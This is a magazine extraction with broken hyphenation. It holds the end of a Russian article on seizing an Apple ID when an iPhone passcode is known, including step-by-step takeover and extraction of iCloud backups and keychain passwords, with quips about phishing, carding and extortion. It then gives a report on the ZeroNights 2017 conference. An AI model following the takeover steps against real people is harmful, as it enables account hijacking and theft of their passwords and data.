устрой ства  поль зовате ля,  зарегис три рован ные  в  той  же  учет ной  записи,  и,
нап ример, заб локиро вать их или унич тожить дан ные (пос ле чего быв ший вла‐ 
делец  не  смо жет  с  ними  сде лать  ров ным  сче том  ничего,  кро ме  обра щения
в  СЦ  Apple,  потому  что  устрой ства  будут  заб локиро ваны  с  помощью  iCloud
Lock).

Про межу точ ный итог:
1. Сме нили пароль от учет ной записи поль зовате ля.
2. От клю чили iCloud lock (Find My iPhone).
3. Сме нили  доверен ный  телефон ный  номер,  что бы  быв ший  вла делец  учет‐ 
ной записи уж точ но ничего не смог поделать.

4. Стер ли дан ные со всех осталь ных  устрой ств быв шего вла дель ца  учет ной
записи и/или заб локиро вали эти устрой ства.

Да вай теперь пос мотрим, что инте рес ного хра нит ся у поль зовате ля в обла ке
iCloud.

ЧТО ИНТЕРЕСНОГО ЕСТЬ В ICLOUD?
Apple  iCloud  —  уни вер саль ный  облачный  сер вис,  интегри рован ный  в  опе‐ 
раци онную  сис тему  iOS  (и  в  macOS).  В  обла ке  могут  хра нить ся  резер вные
копии устрой ств (всех устрой ств, зарегис три рован ных в дан ный Apple ID, а не
толь ко того  iPhone, который у нас в руках), фотог рафии и виде оро лики, раз‐ 
личные фай лы и резер вные копии при ложе ний. Через iCloud син хро низи руют‐ 
ся  (прак тичес ки  в  режиме  реаль ного  вре мени)  такие  вещи,  как  кон такты,
информа ция о звон ках, элек трон ная поч та. Наконец, через обла ко могут син‐ 
хро низи ровать ся  и  пароли  —  та  самая  связ ка  клю чей,  толь ко  на  сей  раз
в облачном виде. Давай пос мотрим, сто ит ли возить ся с извле чени ем все го
это го.

Ре зер вные копии
Мы уже неод нократ но писали про облачные резер вные копии iOS. Навер ное,
нет  смыс ла  пов торять ся;  напом ню  лишь,  что  по  сво ему  содер жимому
облачные  резер вные  копии  соот ветс тву ют  локаль ным  бэкапам  без  пароля.
Таким обра зом,  пароли  из  локаль ной  связ ки  клю чей  в  облачную резер вную
копию  сох раня ются,  но шиф руют ся  при  помощи  аппа рат ного  клю ча  и могут
быть вос ста нов лены исклю читель но на то самое устрой ство, с которо го были
ско пиро ваны.  (Пароли все‐таки мож но вос ста новить из обла ка при помощи
дру гого механиз ма, о котором ниже.) Кро ме того, если вклю чен режим син‐ 
хро низа ции  фотог рафий  в  нас трой ках  устрой ства  (сер вис  iCloud  Photo  Li‐
brary),  то  фотог рафии  и  видео  не  будут  сох ранять ся  ни  в  локаль ный,  ни  в
облачный бэкапы.

По чему  нас  инте ресу ют  облачные  бэкапы,  если  ранее  мы  уже  получи ли
дос туп  к  локаль ному?  С  одной  сто роны,  локаль ный  бэкап  даст  нам  дос туп
к  боль шему  количес тву  дан ных  —  как  минимум  мы  рас шифру ем  пароли
из связ ки клю чей (Keychain). С дру гой — локаль ный бэкап мы можем сде лать
толь ко  с  текуще го  устрой ства  и  толь ко  на  дан ный  момент  вре мени,  а  вот
в  обла ке  могут  хра нить ся  до  трех  пос ледних  резер вных  копий,  при чем
для  всех  устрой ств  поль зовате ля,  зарегис три рован ных  в  той  же  учет ной
записи. Таким обра зом, что‐то новое мы все‐таки можем узнать.

Те бе  пот ребу ется  тот  пароль  от  Apple  ID,  который  ты  уста новил  на  пре‐ 
дыду щем шаге. Если учет ная запись защище на двух фактор ной аутен тифика‐ 
цией, ты смо жешь получить код на устрой ство или   его из нас‐ 
тро ек.

сге нери ровать

Для дос тупа к облачным резер вным копи ям тра дици онно исполь зуем Elcom‐
soft Phone Breaker. В глав ном окне исполь зуй опцию Tools — Apple — Back‐
ups, авто риза ция по логину и паролю.

Бэ кап ска чает ся  в фор мате локаль ной резер вной  копии  iTunes;  ты смо жешь
прос мотреть его содер жимое с помощью любого соф та, под держи вающе го
дан ный фор мат.
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Звон ки и син хро низи рован ные дан ные
Об лачные  резер вные  копии  —  это  инте рес но,  но  ска чивать ся  они  могут
доволь но дол го, а их прак тичес кая цен ность для тебя сом нитель на с уче том
того, что у тебя уже есть локаль ный бэкап. Но дан ные в обла ке не закан чива‐ 
ются на резер вных копи ях. Очень инте рес на такая катего рия в iCloud, как син‐ 
хро низи рован ные дан ные — в час тнос ти, информа ция о телефон ных звон ках,
которые поль зователь при нима ет и совер шает на всех  телефо нах,  зарегис‐ 
три рован ных  в  учет ной  записи. Помимо  звон ков,  здесь будут  такие  дан ные,
как исто рия бра узе ра Safari (опять же — син хро низи рует ся со всех устрой ств
поль зовате ля  в  режиме  реаль ного  вре мени),  зак ладки,  откры тые  в  Safari
вклад ки, замет ки, кон такты, кален дари, кар тогра фичес кая информа ция и дан‐ 
ные из при ложе ния Wallet (посадоч ные талоны и подоб ное).

Из вле кает ся  все  это  доволь но  быс тро,  бук валь но  за  нес коль ко  минут.
Прос мотреть извле чен ные дан ные мож но в Elcomsoft Phone Viewer.

Об лачная связ ка клю чей — iCloud Keychain
Связ ка  клю чей  iCloud  —  облачный  сер вис  для  син хро низа ции  логинов
и  паролей  к  веб‐сай там  из  бра узе ра  Safari,  дан ных  пла теж ных  карт
и информа ции о сетях Wi‐Fi. Акцент здесь имен но на син хро низа ции паролей:
сущес тву ет по край ней мере один спо соб нас тро ить облачную связ ку клю чей
таким  обра зом,  что  сами  пароли,  хоть  и  будут  син хро низи ровать ся  через
обла ко,  в  iCloud  хра нить ся  не  будут.  Вкрат це  опи шем  воз можные  сце нарии
работы связ ки клю чей iCloud.

Сце нарий 1
Учет ная запись без двух фактор ной аутен тифика ции. Если поль зователь вклю‐ 
чит  связ ку  клю чей  iCloud,  но  не  задаст  так  называ емый  код  безопас ности
iCloud  (это  отдель ный  код,  который  слу жит  для  защиты  имен но  облачной
связ ки клю чей и ничего более), то пароли в обла ко не сох раня ются; син хро‐ 
низа ция ведет ся исклю читель но меж ду доверен ными устрой ства ми. Нас этот
сце нарий не инте ресу ет.

Сце нарий 2
Учет ная запись без двух фактор ной аутен тифика ции. Если поль зователь выб‐ 
рал  код безопас ности  iCloud,  то пароли уже  хра нят ся в обла ке, но для дос‐ 
тупа  к  ним нуж но будет  ввес ти  тот  самый  код безопас ности — по  усло виям
задачи мы его не зна ем. Что делать? Мож но поп робовать акти виро вать двух‐ 
фактор ную  аутен тифика цию  в  учет ной  записи  поль зовате ля;  зная  пароль
от Apple  ID и сме нив доверен ный номер телефо на, сде лать это будет очень
прос то.  Таким  обра зом,  теоре тичес ки  задача  сво дит ся  к  сце нарию  3  (про‐ 
верить на прак тике воз можнос ти не было).

Сце нарий 3
Учет ная запись с вклю чен ной двух фактор ной аутен тифика цией. Пароли  хра‐ 
нят ся в  iCloud, а для дос тупа к ним тебе пот ребу ется ввес ти пароль от Apple
ID и допол нитель но ука зать пароль бло киров ки устрой ства — любого устрой‐ 
ства (iPhone, iPad, macOS), которое уже зарегис три рова но в облачной связ ке
клю чей, вклю чая  тот  iPhone,  который у  тебя в руках. Задача решена, пароли
извле чены.

Рас смот рим извле чение облачной связ ки клю чей под робнее.
1. В  Elcomsoft  Phone  Breaker  выбира ем  Tools  —  Apple  —  Download  from
iCloud — Keychain.

2. Ав торизу емся в iCloud (логин, пароль, одно разо вый код 2FA).
3. Вы бира ем из спис ка устрой ство Trusted device (тот самый iPhone, который
у тебя в руках) и вво дим пароль от него в поле Device passcode.

4. Воз вра щаем ся на глав ный экран и откры ваем Keychain Explorer. Тебе дос‐ 
тупны пароли и мар керы аутен тифика ции от Apple  ID  (кста ти,  здесь,  воз‐ 
можно,  ты  най дешь  и  ори гиналь ный  пароль  поль зовате ля  от  его  Apple
ID  —  раз вле чения  ради  мож но  будет  вер нуть  его  на  мес то),  пароли
от сетей Wi‐Fi, пароли от поч товых акка унтов (кто ска зал «фишинг»?), кре‐ 
дит ные кар ты («кар динг» мы тоже не говори ли!), а так же все пароли, сох‐ 
ранен ные в бра узе ре Safari.

СРАВНИВАЕМ С ANDROID
До пус тим,  в  iOS  все  пло хо.  А  как  обсто ят  дела  в  парал лель ной  все лен ной?
Что  мож но  сде лать  с  телефо ном  под  управле нием  Android,  если  известен
пароль бло киров ки?

Ока зыва ется, не слиш ком мно го. Да,  ты можешь лег ко отвя зать  телефон
от  учет ной  записи  Google  и  снять  защиту  от  сбро са  к  завод ским  нас трой‐ 
кам — Factory Reset Protection. Собс твен но, для это го дос таточ но тот самый
пароль убрать из нас тро ек — FRP в этом слу чае отклю чает ся авто мати чес ки.
Да, ты смо жешь соз дать локаль ную резер вную копию через ADB — но тол ку
от нее будет минимум: ни пароли, ни какая‐то осо бо важ ная информа ция туда
не  попадет.  А  вот  с  физичес ким  извле чени ем  уже  воз никнут  проб лемы:
далеко  не  на  каж дом  телефо не  удас тся  получить  пра ва  root,  необ ходимые
для физичес кого извле чения, и далеко не каж дый телефон под вержен ата кам
через  уяз вимос ти  заг рузчи ка  (впро чем,  если  известен  пароль  устрой ства,
рас шифро вать содер жимое раз дела дан ных будет сущес твен но про ще).

По лучит ся или нет извлечь пароли от бра узе ра Chrome — воп рос откры‐ 
тый:  эти  пароли  хра нят ся  в  обла ке  Google,  а  дос туп  к  ним  мож но  получить
через  бра узер  по  ссыл ке  .  Даже  если  на  телефо не
пароль от  учет ной записи Google  уже закеши рован в бра узе ре, Google пот‐ 
ребу ет ввес ти пароль заново, при чем вруч ную. Взять его из кеша не получит‐ 
ся. И чего уж точ но не удас тся сде лать — так это в нес коль ко кли ков сме нить
пароль от Google Account.

passwords.google.com

ЗАКЛЮЧЕНИЕ
С выходом  iOS 11 раз работ чики Apple  унич тожили мно гоуров невую сис тему
безопас ности, ранее сущес тво вав шую в эко сис теме  iOS. Теперь абсо лют но
вся безопас ность зависит исклю читель но от надеж ности пас ско да — пароля
бло киров ки устрой ства. Сто ит зло умыш ленни ку получить дос туп к устрой ству
и узнать пас скод (а для мно гих устрой ств пре дыду щих поколе ний это — дело
тех ники, не очень боль ших денег и не слиш ком дол гого перебо ра),  как вла‐ 
делец устрой ства и учет ной записи момен таль но ста новит ся быв шим.

Прак тичес ки все дан ные, вклю чая пароли, извле кают ся непос редс твен но
из  устрой ства  через локаль ную резер вную  копию  iTunes — пароль на бэкап
теперь  мож но  сбро сить.  Пароль  к  Apple  ID  и  iCloud  меня ется  за  нес коль ко
секунд,  пос ле  чего  устрой ство  лег ко  отвя зыва ется  от  iCloud  (на  этом  эта пе
телефон мож но сбра сывать и переп родавать, а осталь ные устрой ства поль‐ 
зовате ля — бло киро вать и вымогать день ги за раз бло киров ку). На  том неп‐ 
рият ности не закан чива ются: зло умыш ленник получа ет дос туп к фотог рафи ям
в  iCloud,  облачным  паролям,  резер вным  копи ям  всех  осталь ных  устрой ств
с той же учет ной записи, информа цию о звон ках и син хро низи рован ных дан‐ 
ных. Заметь, все это — все го лишь зная пароль бло киров ки от единс твен ного
устрой ства!  Даже  в  Android,  который  мы  любим  ругать  за  дыры  в  безопас‐ 
ности, не получит ся прос то так сме нить пароль от учет ной записи Google.

Не знаю, как тебе, а лич но мне выходить из дома с iPhone прос то страш но.
Как  защитить ся? Пока непонят но. Единс твен ное,  что мож но  (и  точ но нуж но)
сде лать, —  это  уста новить  на  iPhone  пароль  бло киров ки  хотя  бы  из  шес ти
цифр. Собс твен но, начиная с iOS 10 Apple рекомен дует имен но такие пас ско‐ 
ды. Их перебор в нас тоящее вре мя тех ничес ки неосу щес твим. Впро чем, если
зло умыш ленник под смот рит пароль или зас тавит тебя его сооб щить, мы воз‐ 
вра щаем ся к пер вому пун кту.
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СЕДЬМОЙ КРУТЕЙШИЙ ИБ‐ЭВЕНТ
ГЛАЗАМИ УЧАСТНИКА

Иван Пискунов

ВЗЛОМ

Со чета ние  рет ророман тики  коман дной  стро ки  и  ASCII‐арта
с док ладами зарубеж ных и оте чес твен ных спи керов, занима‐ 
тель ными  кон курса ми  и  зарази тель ной  атмосфе рой  фана
и энту зиаз ма, которая воз можна толь ко в общес тве увле чен‐ 
ных  общим  инте ресом  людей, —  такое  при ятное  пос левку‐ 
сие оста лось у нас пос ле посеще ния седь мой кон ферен ции
Zero Nights. Впро чем, обо всем по поряд ку.

Встре чай те, Zero Nights 2017

WARNING

Мне ние авто ра может не сов падать ни с чем, кро‐ 
ме  мне ния  авто ра.  Рек ламы  в  статье  тоже  нет,
толь ко лич ные впе чат ления. :)

НАЧАЛО
Ес ли театр начина ется с вешал ки, то ZN 2017 для меня началась с регис тра‐ 
ции и получе ния бей джи ка — без него никуда, орга низа торы стро го заяви ли,
что будет пос тоян но вес тись ста тичес кий и динами чес кий монито ринг, так что
слу чай ные зри тели были исклю чены.

Вся  дви жуха  на  кон ферен ции  была  раз делена  по 
:  сами  док лады  в  сек циях  Fast  Track,  Defensive  Track,  CTF‐сорев нования

меж ду коман дами, отдель ные зоны Web Village и Extra Zone, зона вор кшо па,
а так же зал со стен дами для учас тни ков и пар тне ров мероп риятия, где мож но
было испы тать себя в раз личных кон курсах и хакато нах.

со ответс тву ющим  бло‐ 
кам

С это го все и началось!

Рет ро зада ет атмосфе ру
Стен ды,  пос вящен ные  даун грей ду,  рет рокомпь ютин гу  и  про чему  олд ску лу,
демонс три рова ли  рекор дную  посеща емость,  при чем  в  тол пе  были  вид ны
не  толь ко  дяди,  компь ютер ная  юность  которых  приш лась  на  вось мидеся‐ 
тые‐девянос тые годы, но и молодежь. Что ни говори, а рет ро — это стиль но,
теп ло и лам пово.

Лей тмо тив ZN 2017

Bo0om готов хак нуть вре мя!

Глав ное  событие  пер вой  полови ны  дня,  конеч но,  откры тие  кон ферен ции.
К 11 часам всех приг ласили в основной зал, где на сце не соб рались пред ста‐ 
вите ли орга низа тора кон ферен ции и ее отцы‐осно вате ли. Посети телей ока‐ 
залось так мно го, что все прос то не вмес тились, гос ти сто яли на вхо де и куч‐ 
ковались вдоль рядов. Поэто му для тех, кто не смог попасть, на вто ром эта же
и в некото рых дру гих залах были раз мещены экра ны, тран сли ровав шие пря‐ 
мое вклю чение со сце ны. Одним из пер вых от лица Digital Security выс тупил

, за ним пос ледова ли Дима Час тухин, Леша Тюрин, Алекс
Мат росов.  Пос ле  это го  всту питель ного  сло ва  было  объ явле но  о  начале
основных активнос тей. Боль шой зал остался за спи кера ми из Defence, жела‐ 
ющие разош лись по дру гим зонам.

Илья Мед ведов ский

Це ремо ния откры тия ZN

Точ ка обще ния
Не  сек рет,  что  на  мно гие  кон ферен ции  безопас ники  ездят  не  затем,  что бы
слу шать  выс тупле ния  (их  мож но  и  ска чать  :)),  а  ради  обще ния  в  кулу арах.
Фиш кой  текуще го  года  ста ла  ,  где  все  гос ти  и  учас тни ки мероп риятия
мог ли в неп ринуж денной обста нов ке пооб щать ся со спи кера ми, задать свои
воп росы и сде лать сел фи со звез дами. В которых недос татка не было — кро‐ 
ме рос сий ских, в прог рамме были спи керы из вось ми стран мира: Аргенти ны,
Великоб ритании, Гер мании, Изра иля, Канады, Китая, Син гапура и США. А в
чис ле наибо лее авто ритет ных док ладчи ков  зву чали  такие име на,  как 

.
И  конеч но  же,  наши  ребята  —    (наш
парень  и  наш быв ший  автор,  но  теперь  уже  из США,  ага.  :) — Прим.  ред.),

 и дру гие.

точ ка

То мас

Дал лиен,  Шей  Герон,  Лукас  Апа,  Джей мс  Фор шоу,  Идо  Наор

Алек сей  Тюрин,  Алекс Мат росов

Мак свел Кох

ЛИТЕРАТУРА — ЛУЧШИЙ ДРУГ РАЗРАБОТЧИКА И ИБ-ШНИКА
Пер вое, на что я нат кнул ся, ког да нап равил ся из основно го зала в зону док‐ 
ладов, была книж ная лав ка, да‐да, имен но так! На паре сос тыкован ных сто лов
рас положи лось мно жес тво книг «ДМК Пресс» и дру гих изда тель ств. Каж дый
мог  най ти  что‐то  инте рес ное  для  себя:  тут  были  и  изда ния,  боль ше  каса‐ 
ющиеся раз работ ки и пер спек тив  тех нологий  (machine  learning,  прог рамми‐ 
рова ние под blockchain, искусс твен ный интеллект, а так же админ ские темы —
осно вы  сетей,  адми нис три рова ние  Linux),  и  кни ги,  ори енти рован ные
на  безопас ность  и  крип тогра фию.  Что  при ятно  уди вило —  цены  были  ниже
магазин ных  (как  сооб щила  мне  девуш ка‐про давец,  «все  кни ги  по  себес‐ 
тоимос ти  изда ния»).  Кста ти,  что  еще  прив лекло  вни мание:  было  нес коль ко
изда ний, офор млен ных в сти ле япон ской ман ги, на впол не серь езные темы —
кван товая  физика  или  механи ка,  нап ример.  Будь  я  сту ден том  или  школь‐ 
ником, такие учеб ные кни ги мне бы приш лись по душе.

Ос новной стенд с литера турой

Кни ги на любой вкус — от ИТ до безопас ности и даже физики

РЕТРОЗОНА
Не пода леку  от  зоны  с  кон курса ми  и  Fast  Track  рас полага лась  область  ста‐ 
роре жим ных удо воль ствий. Это был мир Old School, чер ного окна DOS, кон‐ 
соль ных  прог рамм  и  псев догра фики.  По  перимет ру  помеще ния  вдоль  стен
тянулись сто лы, на  которых я нашел Pentium  I,    (Intel  8088,  4,77 MГц,
RAM 256 Кбайт), пару 486‐х машин, а так же леген дарный   и впер‐ 
вые уви ден ный мной   от Apple образца уже кон ца 1990‐х годов! К каж‐ 
дому  компь юте ру  мож но  было  сво бод но  подой ти  и  поп робовать  запус тить
прог рамму или напеча тать коман ду. Под музыку в сти ле   молодые
и,  э‐э‐э,  еще  более  молодые  айтиш ники  увле чен но  вспо мина ли  досов ские
коман ды, лис тая дерево катало гов в поис ках игру шек; при вык шие к ком форту
деды  сра зу  и  рез ко  запус кали  nc.exe,  пред почитая  ком форт  синих  таб лиц
чер ной без дне коман дной стро ки. Прод равших ся сквозь лес дирек торий жда‐ 
ли тет рис, «Пак ман», «Диг гер», «Принц Пер сии» и ста рый доб рый Wolfenstein.
Те,  кто  наиг рался  в  клас сику,  пос тепен но  зак рывали  игрушки  и  в  стро гом
соот ветс твии со ста рым гим ном хакеров «запус кали наш Turbo Debugger» и «с
гром кими кри ками лез ли в Boot».

IBM PC
ZX Spectrum

iBook

RetroWave

Prince of Persia воочию на рет роно утбу ке

Стенд со ста рым железом

От редак ции: олд скуль ный гимн хакеров (на кон фе его не было,
копирайт неиз вестен, но гимн этот бес смер тен)

Кры ши прог нившие едут над нами, 
Гнус ные мыс ли нам сер дце скре бут. 
Мы запус каем наш Turbo Debugger, 

С гром кими кри ками лезем мы в Boot. 
  

Пусть нам бур жуи пос тавят защиту, 
Всю мы взло маем, не выпив и лит ру. 

TASM есть всег да на дис кете флоп повой, 
Взло ман пароль на бирюлеч ке новой. 

  
Мы запус каем наш Sourcer нес мело — 
Зна мя борь бы за исходни ков дело. 
Ско цаны бай ты, рас терза на память, 
На ши моз ги вам уже не испра вить. 

  
Borland’у спра вили мы панихи ду, 
Epson затих и леле ет оби ду. 

Мышь Microsoft себе хвост отку сила, 
В стри мер все лилась нечис тая сила. 

  
В муках издохнет кон трол лер машин ный, 

Ти хо заг нется вин честер невин ный. 
Ха кер доволь ный модем вык люча ет, 
И в конт рраз ведке ник то не ску чает.

,  вла делец этой  тех ники, любез но пре дос тавив ший ее на пери од
про веде ния ZN, сооб щил, что неод нократ но уже учас тво вал в подоб ных выс‐ 
тавках,  но  на  этот  раз  был  при ятно  удив лен,  пос коль ку  пуб лика  инте ресо‐ 
валась не толь ко игрушка ми, были и посети тели, которые спра шива ли: «А где
здесь мож но запус тить ассем блер?» или «А не под ска жете, как вый ти из инте‐ 
рак тивно го режима отладки?»

Яков Халип

Для  мно гих  это  был  отличный шанс  поз накомить ся  с  вре мена ми,  «ког да
компь юте ры были дру гими», уви деть все вжи вую и почувс тво вать себя в шку‐ 
ре  поль зовате ля  вось мидеся тых‐девянос тых  годов,  ведь  образцы  тех ники
были стар ше, чем некото рые посети тели мероп риятия!

На про тиво полож ной сто роне от PC и их соб рать ев рас положил ся стенд
с 16‐бит ными прис тавка ми. Все как было в детс тве — телеви зор, 

  и  пара  джой сти ков.  Абсо лют ное  боль шинс тво  игра ло  в  нес таре ющую
, и, чес тно говоря, я могу их понять :). Более того, был объ явлен

кон курс на луч шего игро ка, отбо роч ный тур про ходил в пер вый день, а выяс‐ 
нение  чем пиона  было  наз начено  на  вто рой.  Любой  мог  сво бод но  подой ти
и  записать ся  в  спи сок  учас тни ков.  Ког да  игра  пош ла  на  вылет,  такого
количес тва зри телей я, пожалуй, не видел ни на одном дру гом стен де…

Sega Mega
Drive
Mortal Kombat

Ну и укра шени ем этой зоны был боль шой пла кат раз мером в сте ну с изоб‐ 
ражени ем  !  Ты его  пом нишь? Цените ли меня  пой мут,  это  true old
school, и это мес то ста ло одним из самых популяр ных на кон ферен ции,  там
не фотог рафиро вал ся толь ко ленивый.

Ха кер мена

Вот он, глав ный герой сце ны Old School

КОНКУРСЫ
Дви гаем ся даль ше! Что бы попасть в зону,  где про води лись кон курсы и рас‐ 
полага лись  стен ды  пар тне ров  кон ферен ции,  нуж но  было  прой ти  тем ный
узкий коридор, сфор мирован ный крас ными лазер ными лучами в сти ле луч ших
гол ливуд ских боеви ков. Это мне напом нило сце ну из пер вого филь ма Resi‐
dent  Evil,  где  герои  про бира ются  через  неч то  подоб ное,  что бы  спас тись
из  заражен ной  лабора тории.  Зло вещий  коридор  при водил  в  боль шой  холл,
с двух сто рон которо го рас полага лись пло щад ки и стен ды. Вся пра вая часть
была  отда на  под  ,  где  мож но  было  пос лушать  выс тупле ния,
свя зан ные  с  тюнин гом  и  хаком  железа,  а  так же  про верить  свои  скил лы
в управле нии аппа рат ным обес печени ем.

Hardware  Village

Ко ридор из крас ных лучей

Ос таль ное  прос транс тво  хол ла  занима ли  нес коль ко  пар тнерских  пло щадок,
но  самое  боль шое  вни мание  прив лекали  две.  ,
где мож но было поучас тво вать в трех кон курсах: «Казино», «Одно рукий бан‐ 
дит»,  «Взлом  сей фа».  Суть  «Казино»  зак лючалась  в  том,  что бы  доб рать ся
через Wi‐Fi‐сет ку  до  спря тан ного Raspberry  Pi,  который  управлял маг нитом,
вра щающим  рулет ку.  «Одно рукий  бан дит»  намекал  прой ти  по  ука зан ной
на  нем  ссыл ке,  которая  вела  на  GitHub  с  исходни ком  скрип та.  Задача  сос‐ 
тояла  в  том,  что бы  рас парсить  скрипт,  понять  логику  его  работы  и,  дер нув
за руч ку пять раз под ряд, получить выиг рышную ком бинацию! Очень кру той,
на мой взгляд, кон курс.

Пер вая —  пло щад ка Mail.Ru

За дание  «Сейф»  пред став ляло  собой    с  замоч ной  сква жиной
и  механи чес ким  лим бовым  дис ком,  на  котором  рас положе ны  пины.  Сейф
мож но  было  открыть  любым  дос тупным  спо собом.  В  качес тве  инс тру мен‐ 
тария для взло ма к нему при лагал ся эндоскоп. И боль ше никаких под ска зок!
Ни про изво дите ля, ни серий ного номера — самое нас тоящее «тес тирова ние
чер ного ящи ка».

уга дай  что

Вот он, кра савец сейф!

  была  пред став лена  ком пани ей  Bi.Zone,
у  которой  так же  было  нес коль ко  кон курсов.  Пер вый  (и  наибо лее  прос той)
Stolen Voices зак лючал ся в том, что бы рас счи тать количес тво голосов, необ‐ 
ходимых  для  выбора  гипоте тичес кого  пре зиден та  по  сис теме  выбор щиков
(как в США) при ряде усло вий. Как заяв ляли орга низа торы, для рас чета необ‐ 
ходимо знать матема тику на уров не девято го клас са, хотя я так не думаю.  :)
Решать мож но было любым спо собом — кто‐то писал решение на лис точке,
иные же забива ли алго ритм на одном из язы ков прог рамми рова ния.

Вто рая  популяр ная  пло щад ка

Вто рое задание было усложнен ным про дол жени ем пер вого. Регис тра ция
и отгруз ка резуль татов про исхо дила в чате Telegram с помощью бота, там же
мож но было получить под сказ ки и про верить свой рей тинг.

Score board для выиг рыша при зов

В  качес тве  при зов  фигури рова ли  ниш тяки  раз ного  уров ня  —  от  фут болок
и кру жек до дорогих науш ников и квад рокоп тера. Что бы получить любой приз,
дос таточ но было наб рать энную сум му bi.zon‐кой нов любым дос тупным спо‐ 
собом.  К  при меру,  если  не  хотелось  решать  задач ки,  любой  мог  сыг рать
в мор ской бой  на  совет ском авто мате  или  стан цевать  в музыкаль ном авто‐ 
мате, наб рав таким обра зом необ ходимое количес тво очков. Я так туда и не
попал — сколь ко ни пытал ся, там пос тоян но тол па и нес конча емая оче редь.
Так вот он какой, «бес плат ный сыр».
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

HARDWARE VILLAGE
Из  Hardware  Village  мне  боль ше  все го  запом нился  стенд  CarPWN  коман ды
Trust, пред лагав шей учас тни кам попытать уда чу во взло ме элек трон ных сис‐ 
тем  управле ния  авто моби ля  BMW.  На  стен де  была  выложе на  вся  начин ка
авто моби ля, бло ки управле ния, бор товая кон соль, кноп ки и рычаги управле‐ 
ния…  рядом  рас полага лась  дверь.  Задача  сос тояла  в  том,  что бы,  получив
физичес кий  дос туп  и  под клю чив шись  к  CAN‐шине,  добить ся  воз можнос ти
управле ния,  к  при меру  откры вать  дверь  или  раз бло киро вать  цен траль ный
замок.

Стенд с элек тро никой от BMW

Дру гой  hardware‐стенд  эму лиро вал  раз личные  про мыш ленные  сис темы.
К при меру, один из них вос созда вал пар ковку, и задача сос тояла в том, что‐ 
бы,  перех ватив  легитим ный  сиг нал  откры тия  шлаг баума,  суметь  его  под‐ 
делать  и  откры вать  шлаг баум  по  собс твен ному  желанию  в  любой  момент.
Бли же к вечеру в этой же зоне рас ска зыва ли о фичах BIOS, о том, как ее мож‐ 
но  хак нуть,  переп рошить  с  бэк дором  и  обой ти механиз мы  про вер ки  валид‐ 
ности заг рузчи ка.

Стенд с пар ковкой

Стол с раз нооб разным железом в зоне Hardware Village

Тут  же  мож но  было  чуть‐чуть  отвлечь ся  от  нап ряжен ных  сорев нований
и  пофот кать ся  у  фотоко лон ны  (и  обя затель но  запос тить  получив шиеся
шедев ры в соц сети). Для тех же, кто хотел раз мять руки и почувс тво вать себя
взлом щиком  из  прош лого,  имел ся  стенд  для  лок пикин га,  где  каж дый  жела‐ 
ющий мог, воору жив шись сле сар ным инс тру мен том и отмычка ми, померить‐ 
ся силами с обыч ным цилин дро вым зам ком. В реале это ока залось нес коль ко
слож нее, чем в пос ледних час тях Elder Scrols.  :) Стенд орга низо вали ребята
из CrackeN.

Го товим отмычки собс твен ными руками

Сре ди дру гих  инте рак тивных  событий,  раз вернув шихся  в ЗИЛе,  запом нился
квест  . Цель квес та зак лючалась в том, что бы раз добыть как мож но
боль ше  любой  информа ции,  содер жащей  ком про мети рующие  дан ные.
Для это го учас тни кам необ ходимо было пос тоян но переме щать ся меж ду пло‐ 
щад ками и даже за пре делы зда ния и выпол нять раз личные тас ки, исполь зуя
хакер ский инс тру мен тарий — Raspberry Pi, Proxmark, hackrf, флеш ки и подоб‐ 
ные девай сы. Ито гом выпол нения задания был, к при меру, перех ват дос тупа
к Wi‐Fi,  управле ния  квад рокоп тером,  зах ват  IP‐камеры, физичес кое  про ник‐ 
новение  в  зак рытые  помеще ния,  взлом  пароля  на  «забытых»  ноут буках.
Но мне за все вре мя  так и не  уда лось вжи вую пооб щать ся  хотя бы с одним
учас тни ком квес та — видимо, они пос тоян но переме щались либо тща тель но
«скры вались».

Hack & Go

От  «Лабора тории  Кас пер ско го»  тра дици онно  был  кон курс  на  взлом
crackme, задание ты получал от бота в чате Telegram или перей дя по ссыл ке,
отска ниро вав QR‐код, ука зан ный на пла кате. Око ло фир менно го стен да так‐ 
же  сто яло  нес коль ко  компь юте ров  со  спе циали зиро ван ным  соф том,
на  котором  мож но  было  поуп ражнять ся  в  ана лизе  экс пло ита  и  тут  же  поп‐ 
росить помощи у находя щих ся рядом тех ничес ких экспер тов.

ДОКЛАДЫ И ВОРКШОПЫ
Цен траль ным  зве ном  всей  кон ферен ции  всег да  оста ются  тех ничес кие  док‐ 
лады  и  выс тупле ния  спи керов.  Сре ди  инос тран ных  спи керов  запом нилось
выс тупле ние,  пос вящен ное  тех нологи ям  машин ного  обу чения 

 (aka Halvar Flake) из Google.  , эксперт из IOActive (США), рас‐ 
ска зал  об  уяз вимос тях  сов ремен ных  про мыш ленных  и  робото тех ничес ких
сис тем. Лич но мне очень запом нился корот кий, но насыщен ный док лад 

, и, кста ти, я был не оди нок в сво ем вос торге.

То маса  Дал‐ 
лиена Лу кас Апа

Кел ли
Шор тридж

Кел ли Шор тридж сво им выс тупле нием взор вала зал

Ес ли чес тно, все док лады были инте рес ными и находи ли свою пуб лику, порой
хотелось посетить каж дое выс тупле ние, но из‐за того, что нес коль ко сес сий
шли парал лель но, при ходи лось выбирать что‐то одно. Но орга низа торы обе‐ 
щали со вре менем выложить матери алы док ладов на офи циаль ный сайт, так
что у тебя еще будет воз можность навер стать упу щен ное. Тем более что под‐ 
нимались  и  ранее  не  зву чав шие  акту аль ные  темы,  вро де  гос тов ско го шиф‐ 
рования в блок чей не, ICO и пер спек тив циф ровой эко номи ки.

Выс тупле ния спи керов

Зал в Яндекс.Зоне

WEB VILLAGE
На  про тяже нии  двух  дней  без  переры ва шла  отдель ная  сек ция  ,
целиком  пос вящен ная  воп росам  защиты  web‐при ложе ний  и  сопутс тву ющих
тех нологий, которая впер вые появи лась имен но в этом году. Нас тоящий кла‐ 
дезь  зна ний  для  веб‐раз работ чиков.  Сво ими  наб людени ями  и  опы том
делились как и сами веб‐раз работ чики,  так и пен тесте ры, которым по дол гу
их работы при ходит ся иметь дело с проб лемами безопас ности в веб‐сте ке.
Темы  касались  и  клас сичес ких  проб лем  из  OWASP  Top10  (XSS,  CSRF),
и «небезо пас ного кода», и прак тичес ких трю ков, поз воля ющих сде лать свое
web‐при ложе ние по‐нас тояще му безопас ным. Спи кера ми сес сий выс тупали
извес тные ресер черы — Алек сей Тюрин, Егор Кар бутов, Иван Чалыкин, Сер‐ 
гей Белов, Антон Лопани цын, Андрей Ковалев, Дмит рий Муляв ка, Омар Гани‐ 
ев и Ярос лав Бабин. Думаю, поч ти со все ми из них ты стал кивал ся на стра‐ 
